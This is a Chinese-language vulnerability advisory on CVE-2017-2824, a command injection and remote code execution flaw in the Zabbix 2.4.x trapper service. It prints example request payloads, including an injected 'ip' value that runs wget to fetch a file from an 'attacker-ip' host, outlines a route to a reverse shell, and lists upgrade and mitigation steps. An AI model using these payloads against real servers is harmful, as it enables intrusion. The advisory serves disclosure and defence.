1. 程式人生 > >Zabbix爆遠端程式碼執行漏洞、資料庫寫入高危漏洞(CVE-2017-2824)

Zabbix爆遠端程式碼執行漏洞、資料庫寫入高危漏洞(CVE-2017-2824)

Zabbix

題圖:By James Padolsey From Unsplash

關於Zabbix

zabbix是一個基於WEB介面的提供分散式系統監視以及網路監視功能的企業級的開源解決方案。

zabbix能監視各種網路引數,保證伺服器系統的安全運營;並提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。

漏洞詳情

CVE-2017-2824:Zabbix Server Active Proxy Trapper 遠端程式碼執行漏洞

Zabbix 2.4.x中的trapper command功能存在一處程式碼執行漏洞,特定的資料包可造成命令注入,進而遠端執行程式碼,攻擊者可以從一個Zabbix proxy發起請求從而促發漏洞。

影響版本

Zabbix 2.4.7 – 2.4.8r1

漏洞描述

該漏洞位於Zabbix中“Trapper”程式碼部分,它的主要功能是允許Proxy和Server進行通訊的網路服務(TCP埠10051)Zabbix Server提供了一組針對Zabbix Proxy的API呼叫,兩個將討論的是“discovery data”和“request command”。這些請求的示例資料如下所示:

'{"request":"command","scriptid":1,"hostid":10001}'
'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com",    port":10050,"key":"test","status":0,"value":"test_value"}]}

應該注意的是,request命令呼叫位於Zabbix資料庫中的指令碼,而不進行任何身份驗證。該漏洞的另一個關鍵方面是,預設情況下,Zabbix 2.4.X使用指令碼以下表中的3個指令碼填充MySQL資料庫:

問題在於,在呼叫指令碼時,{HOST.CONN}欄位實際上被host的IP地址替換。替換{HOST.CONN}的值位於Zabbixinterface表中,然後儲存成VARCHAR(64)型別的“IP”欄位。因此,如果攻擊者可以使用命令注入建立介面作為IP地址,並且通過“命令”請求的方式執行{HOST.CONN}指令碼,則將發生命令注入,並且可以獲得反向shell。

這個難題在於有效地將值插入到Zabbixhost表。預設情況下,未經身份驗證的攻擊者無法做到這一點,它需要系統管理員的一個次要配置,特別是關於Zabbix自動發現功能。

Zabbix自動發現和自動註冊功能允許根據Zabbix Proxy提供的Zabbix Server資料進行Zabbix Server的配置。更具體地說,如果主機根據伺服器的配置向Zabbix Proxy提供某些特性,則可能會採取某些操作,其中一個會使新發現的主機被新增到某些Zabbix資料庫表中。在這種情況下,主機將被插入到“host”表中,並且將建立一個入口到Zabbixinterface表中,主機提供的IP地址插入到IP列中,而不會對該IP地址的任何驗證。

因此,通過使用合適的主機向伺服器傳送一個發現數據請求,可以將命令注入插入到資料庫中:

write_script_cmd='{
"request":"discoverydata",
"host":"zabbix-proxy.domain.fake",
"clock":148535399,
"data":[{
"clock":1485353070,
"drule":88,
"dcheck":174,
"type":0,
"ip":";wget -O/tmp/shttp://attacker-ip/s;#",
"dns":"host28.domain.fake",
"port":10050,
"key":"sectest",
"status":0,
"value":"lnx<(^_^)>host"
}]}'

由於ZabbixInterface表的ip欄位的大小限制,第二個主機被插入到另一個IP地址的表中。

run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'

在這兩個主機被新增之後,仍然有一個問題,即不知道該hostid的command請求,但是這很容易解決了。暴力請求入資料庫,因為不同的命令請求會返回不同的響應,確定主機是否存在,一旦存在的主機被確定,就可以直接呼叫它們,並且可以獲得反向的shell。

修復方案

1.官網修復版本釋出後及時升級,目前官方反饋會在以下版本修復:2.0.21rc1, 2.2.18rc1, 3.0.9rc1, 3.2.5rc1, 3.4.0alpha1 (trunk)

2.緩解措施:刪除Zabbix資料庫中的預設指令碼條目

  • 直接操作資料庫刪除SQL為:
use zabbix;
delete * from scripts;
  • 使用圖形介面刪除(Administration->Scripts->Checkmarks->Delete Selected)。

參考文件